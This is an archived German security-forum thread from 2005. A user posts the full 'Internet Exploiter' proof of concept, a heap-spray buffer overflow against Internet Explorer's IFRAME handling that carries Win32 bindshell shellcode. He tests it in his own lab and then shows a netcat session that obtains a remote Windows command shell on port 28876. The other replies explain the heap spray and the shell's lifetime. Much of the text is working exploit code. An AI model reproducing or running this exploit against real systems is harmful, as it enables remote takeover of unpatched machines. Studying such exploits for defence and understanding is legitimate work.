PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Frage zu Exploit (MSIE <IFRAME src=... name="..."> BoF PoC exploit)



current
27.01.2005, 21:49
Hallo,

vor kurzem habe ich dies hier gefunden:


<HTML><!--
__________________________________________________ ______________________________

,sSSSs, Ss, Internet Exploiter v0.1
SS" `YS' '*Ss. MSIE <IFRAME src=... name="..."> BoF PoC exploit
iS' ,SS" Copyright (C) 2003, 2004 by Berend-Jan Wever.
YS, .ss ,sY" http://www.edup.tudelft.nl/~bjwever
`"YSSP" sSS <skylined@edup.tudelft.nl>
__________________________________________________ ______________________________

This program is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License version 2, 1991 as published by
the Free Software Foundation.

This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.

A copy of the GNU General Public License can be found at:
http://www.gnu.org/licenses/gpl.html
or you can write to:
Free Software Foundation, Inc.
59 Temple Place - Suite 330
Boston, MA 02111-1307
USA.
-->

<SCRIPT language="javascript">
// Win32 MSIE exploit helper script, creates a lot of nopslides to land in
// and/or use as return address. Thanks to blazde for feedback and idears.

// Win32 bindshell (port 28876, '\0' free, looping). Thanks to HDM and
// others for inspiration and borrowed code.
shellcode = unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u 52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31 ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea %u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u 018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b 0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233 %u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%u ffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40 c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050 %u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u 31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u10 6a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650 %ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%u bb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e 68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0 %u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u 53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u87 53%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048 %ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u 6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");
// Nopslide will contain these bytes:
bigblock = unescape("%u0D0D%u0D0D");
// Heap blocks in IE have 20 dwords as header
headersize = 20;
// This is all very 1337 code to create a nopslide that will fit exactly
// between the the header and the shellcode in the heap blocks we want.
// The heap blocks are 0x40000 dwords big, I can't be arsed to write good
// documentation for this.
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
// And now we can create the heap blocks, we'll create 700 of them to spray
// enough memory to be sure enough that we've got one at 0x0D0D0D0D
memory = new Array();
for (i=0;i<700;i++) memory[i] = block + shellcode;
</SCRIPT>
<!--
The exploit sets eax to 0x0D0D0D0D after which this code gets executed:
7178EC02 8B08 MOV ECX, DWORD PTR [EAX]
[0x0D0D0D0D] == 0x0D0D0D0D, so ecx = 0x0D0D0D0D.
7178EC04 68 847B7071 PUSH 71707B84
7178EC09 50 PUSH EAX
7178EC0A FF11 CALL NEAR DWORD PTR [ECX]
Again [0x0D0D0D0D] == 0x0D0D0D0D, so we jump to 0x0D0D0D0D.
We land inside one of the nopslides and slide on down to the shellcode.
-->
<IFRAME SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBB NAME="CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"></IFRAME>CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
</HTML>

Nun will ich gar nicht erst so tun, als ob ich den Code wirklich verstehe - Programmieren ist einfach nicht meine Welt, noch nicht mal HTML (Das letzte "Programm" hab ich auf nem C64 fabriziert ;) ).

Netterweise werden ja fast immer ein paar Erläuterungen eingebaut, somit weiss dann sogar ich, was ich da vor mir habe.

Also einfach mal ausprobiert, das Teil auf nen Webserver hochgeladen und die Seite auf meinemTestrechner (Windows XP, Service Pack 1, seit 2 Jahren keinen Patch mehr gesehen) mit dem IE geöffnet.

Ist auch ordnungsgemäß abgeschmiert, nur -und hier meine eigentliche Frage- wurde mir nicht eine shell an Port 28876 versprochen? Oder habe ich das verkehrt verstanden?

Falls dies so sein sollte, hat´s bei mir jedenfalls nicht funktioniert:


Interesting ports on server (192.168.0.2):
PORT STATE SERVICE
28876/tcp closed unknown


Nun würd ich natürlich gern wissen, was ich falsch gemacht hab.
Kann mir da vielleicht jemand weiterhelfen?

Danke im vorraus,

MfG,

current

morpheus
28.01.2005, 21:41
Ist auch ordnungsgemäß abgeschmiert, nur -und hier meine eigentliche Frage- wurde mir nicht eine shell an Port 28876 versprochen? Oder habe ich das verkehrt verstanden?
Ja, es sollte eine Shell an Port 28876 gebunden werden. Ich kann es allerdings momentan selber nicht ausprobieren, da ich derzeit kein geeignetes Testsystem zur Verfuegung habe, und ich jetzt keine Lust habe Patches zu deinstallieren. ;)


Nun würd ich natürlich gern wissen, was ich falsch gemacht hab. Kann mir da vielleicht jemand weiterhelfen?
Na ja, das ist nicht so einfach, da man nicht weiss was du nun genau gemacht hast?

Der von dir gepostete Code ist auf jeden Fall nicht mehr lauffaehig, da Spaces im Shellcode sind, welche denke ich mal von der Board-Software faelschlicherweise hinzugefuegt wurden. Der urspruengliche Exploit-Code ist hier [1] zu finden.

Der urspruengliche Bug, welche den M$ IE nur zum Absturz bringt, ist unter [2] zu finden. Wenn der M$ IE bei dir abschmiert bedeutet das klarerweise schon mal, dass er fuer diese Schwachstelle anfaellig ist. Jetzt kommt eigentlich nur mehr in Frage, dass der Exploit bei dir aus irgendeinen unerfindlichen Grund nicht funktioniert hat - aber das kann viele Gruende haben. Hast du es schon mehrmals versucht und es fuehrt immer wieder zum gleichen Ergebnis? Kannst du sicherstellen, dass du in den Exploit-Code nicht irgendwie einen Fehler eingebaut hast?

[1] http://downloads.securityfocus.com/vulnerabilities/exploits/InternetExploiter.txt
[2] http://felinemenace.org/~nd/crash_ie/2446.html

current
29.01.2005, 16:58
Hallo,morpheus, danke für deine Antwort. Deine Bestätigung, das dieser Exploit funktionieren muss, hat mich dazu veranlasst, das Ganze noch einmal auszuprobieren.
Tja, was soll ich sagen:



current@hiob:~> nc 192.168.0.2 28876
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Dokumente und Einstellungen\Besitzer\Desktop>


Funktioniert hat es letztendlich doch, nur war´s nicht ganz was ich erwartet hat, weil

- es 40 Sekunden dauert, bis der Port geöffnet wird

- das Fenster im IE dabei geöffnet bleiben muss

- beim Schliessen des IE-Fensters auch der Port wieder geschlossen wird


Ich hatte was furchterregenders erwartet :p

Aber als proof-of-concept erfüllt es seinen Zweck, würde ich sagen. Wurde sowas auch schon in weiterentwickelter Form veröffentlicht? Wenn der Dienst auch nach dem schliessen des IE weiterlaufen würde, wäre das schon ein ziemlich beeindruckendes Beispiel dafür, das der IE tatsächlich der Zugang zur Welt ist - in beide Richtungen.

MfG,

current

Zaesar
29.01.2005, 18:57
Funktioniert hat es letztendlich doch, nur war´s nicht ganz was ich erwartet hat, weil

- es 40 Sekunden dauert, bis der Port geöffnet wird

- das Fenster im IE dabei geöffnet bleiben muss

- beim Schliessen des IE-Fensters auch der Port wieder geschlossen wird
Logisch: der IE-Prozess (genauer: der Shellcode, der im Speicher des IE-Prozesses ausgeführt wird) baut die Verbindung auf. Wenn du den beendest, geht auch deine Shell nicht mehr.


Ich hatte was furchterregenders erwartet :p

Aber als proof-of-concept erfüllt es seinen Zweck, würde ich sagen. Wurde sowas auch schon in weiterentwickelter Form veröffentlicht? Wenn der Dienst auch nach dem schliessen des IE weiterlaufen würde, wäre das schon ein ziemlich beeindruckendes Beispiel dafür, das der IE tatsächlich der Zugang zur Welt ist - in beide Richtungen.Wieso? Was ist an einer remote shell nicht beeindruckend genug?

morpheus
29.01.2005, 19:39
- es 40 Sekunden dauert, bis der Port geöffnet wird
Das wird wohl an JScript liegen. ;)


Aber als proof-of-concept erfüllt es seinen Zweck, würde ich sagen.
Ja, mehr soll es eben auch nicht tun, da es nur ein PoC ist.


Wurde sowas auch schon in weiterentwickelter Form veröffentlicht?
Nope, einen "fertigen" Exploit - so wie du ihn dir vorstellst - wirst du nicht finden und das ist IMO auch gut so, dass nicht einfach jeder ohne entsprechendem KnowHow so etwas fuer seine Zwecke verwenden kann.

current
31.01.2005, 16:10
Nun gut, war auf jeden Fall mal interessant, damit herumzuprobieren.

Blöd ist nur, das ich mit meinem Verständnis für die Exploits immer am Code hängenbleibe, da muss wohl doch endlich mal was getan werden.... ;pmo;

Immerhin habe ich inzwischen so viel Code gelesen, dass ich oft wenigstens das Gefühl habe, einen Teil davon zu verstehen - ein dickes Buch muss her, am besten gleich C, wenn schon, denn schon. Bis dahin wirds aber noch ein bischen dauern, ich bin grade dabei, mich an der LPI 1 zu versuchen und das hat momentan einfach Vorrang.

Auf jeden Fall nochmal euch beiden meinen Dank für eure Hilfe.


MfG,

current